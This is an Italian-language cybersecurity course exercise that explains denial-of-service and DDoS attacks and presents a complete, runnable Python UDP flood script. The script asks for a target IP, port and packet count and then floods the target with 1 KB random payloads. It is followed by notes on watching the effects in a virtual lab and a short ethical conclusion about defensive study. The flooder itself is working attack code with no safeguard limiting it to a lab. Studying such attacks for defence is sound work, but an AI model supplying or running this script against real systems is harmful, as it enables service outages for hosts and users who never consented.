Esercizio Creazione Programma DoS Python U2S6L3

1. Introduzione

L'obiettivo di questa esercitazione è comprendere le dinamiche degli attacchi di tipo **Denial of Service (DoS)** attraverso la creazione di uno script in Python. L'esercizio richiede di simulare un **UDP Flood** ovvero l'invio massivo di pacchetti verso una macchina target per saturarne le risorse.

---

2. Concetti Chiave Teorici

Denial of Service (DoS) e DDoS

- **DoS (Denial of Service):** È un attacco informatico mirato a rendere una risorsa o un servizio indisponibile agli utenti legittimi. L'attaccante invia una quantità eccessiva di traffico al server target, sovraccaricandolo e impedendogli di gestire nuove richieste. L'efficacia dipende dalla saturazione di risorse come banda, memoria o CPU.
- **DDoS (Distributed Denial of Service):** Variante avanzata in cui l'attacco proviene da molteplici fonti contemporaneamente (una rete di dispositivi compromessi chiamata **Botnet**). Questo rende l'attacco molto più difficile da mitigare rispetto a un semplice DoS proveniente da un singolo IP.

Risorse di Sistema Colpite

Precisamente un sistema colpito da attacco Dos colpisce le seguenti risorse::

1. **CPU:** Un numero elevato di richieste può saturare la capacità di elaborazione.
2. **Memoria (RAM):** L'attacco può consumare tutta la memoria disponibile, portando a un crash del sistema.
3. **Banda di Rete:** Inondando la rete di traffico, si impedisce la comunicazione legittima.

---

3. Svolgimento: UDP Flood

Obiettivo

Scrivere un programma in Python che richieda all'utente un IP e una porta target, e invii pacchetti UDP da 1 KB per simulare un flood.

```python
import socket
import random
import time
import sys

def udp_flood_optimized():
    print("—— Simulatore UDP Flood Ottimizzato (Educational) ——")
    print("Premi CTRL+C in qualsiasi momento per fermare l'invio.\n")

    # —— 1. CONFIGURAZIONE ——
    target_ip = input("Inserisci l'IP della macchina target (es. 192.168.x.x): ")

    try:
        target_port = int(input("Inserisci la porta UDP target (es. 8080): "))
        num_packets = int(input("Numero di pacchetti da inviare (es. 100000): "))
    except ValueError:
        print("Errore: Inserisci solo numeri interi per porta e pacchetti.")
        return

    # —— 2. PREPARAZIONE DATI ——
    # Creiamo il pacchetto di 1 KB (1024 bytes) una sola volta per risparmiare CPU.
    # Requisito: Grandezza pacchetto 1 KB [cite: 24]
    # Suggerimento: uso modulo random
    payload = random._urandom(1024)

    # Creazione del socket UDP
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

    print(f"\n[START] Invio verso {target_ip}:{target_port} in corso...")

    sent_counter = 0
    start_time = time.time()

    # —— 3. CICLO DI INVIO ——
    try:
        for i in range(num_packets):
            sock.sendto(payload, (target_ip, target_port))
            sent_counter += 1

            # OTTIMIZZAZIONE: Stampiamo lo stato solo ogni 5000 pacchetti
            # per non bloccare il terminale dell'utente.
            if sent_counter % 5000 == 0:
                sys.stdout.write(f"\rPacchetti inviati: {sent_counter}")
                sys.stdout.flush()

    except KeyboardInterrupt:
        # Permette all'utente di fermare tutto con CTRL+C senza errori brutti
        print("\n\n[!] Interruzione manuale rilevata (CTRL+C).")

    except Exception as e:
        print(f"\n[!] Errore critico: {e}")

    finally:
        # —— 4. REPORT FINALE ——
        end_time = time.time()
        duration = end_time - start_time
        # Evitiamo divisione per zero se dura pochissimo
        if duration == 0: duration = 0.001

        sock.close()

        print(f"\n\n—— Report Fine Simulazione ——")
        print(f"Target: {target_ip}:{target_port}")
        print(f"Totale inviati: {sent_counter}/{num_packets}")
        print(f"Tempo trascorso: {duration:.2f} secondi")
        print(f"Velocità media: {sent_counter/duration:.0f} pacchetti/secondo")
        print("————————————————————————————")

if __name__ == "__main__":
    udp_flood_optimized()
```

Requisiti Tecnici Implementati

Il codice sviluppato soddisfa i seguenti requisiti indicati nella traccia:

1. **Input IP Target:** Il programma richiede l'indirizzo IP della macchina vittima.
2. **Input Porta Target:** Il programma richiede la porta UDP specifica.
3. **Costruzione del Pacchetto:** Viene generato un payload di **1 KB (1024 byte)** utilizzando il modulo random, come suggerito per la generazione di byte casuali.
4. **Loop di Invio:** L'utente definisce il numero di pacchetti da inviare, e il software esegue un ciclo di invio tramite socket UDP.

Funzionamento del Codice

Il cuore dello script risiede nell'utilizzo della libreria `socket` di Python.

- Viene creato un socket di tipo `SOCK_DGRAM` (protocollo UDP).
- A differenza del protocollo TCP (che richiede un handshake SYN-ACK e può essere usato per attacchi SYN Flood), l'UDP è un protocollo "connectionless". Questo permette di inviare pacchetti ad altissima velocità senza attendere risposta, ideale per saturare la banda.

---

4. Analisi e Osservazioni

Durante l'esecuzione (in ambiente controllato/virtuale), si possono osservare gli effetti descritti nella teoria:

- **Lato Attaccante:** Il terminale invia pacchetti ad alta frequenza.
- **Lato Vittima:** Se monitorato tramite strumenti come "Gestione Attività" o Wireshark (come mostrato nelle slide), si noterà:
    - Un picco improvviso nel traffico di rete in entrata.
    - Un aumento dell'utilizzo della CPU dovuto al tentativo del sistema operativo di processare l'enorme numero di pacchetti in arrivo.

---

5. Conclusioni Etiche

Lo studio di queste tecniche è fondamentale per la Cyber Security difensiva. Comprendere come viene generato un attacco DoS, infatti, permette di sviluppare misure di difesa efficaci, rilevare tempestivamente incidenti di sicurezza e scrivere codice più robusto e sicuro.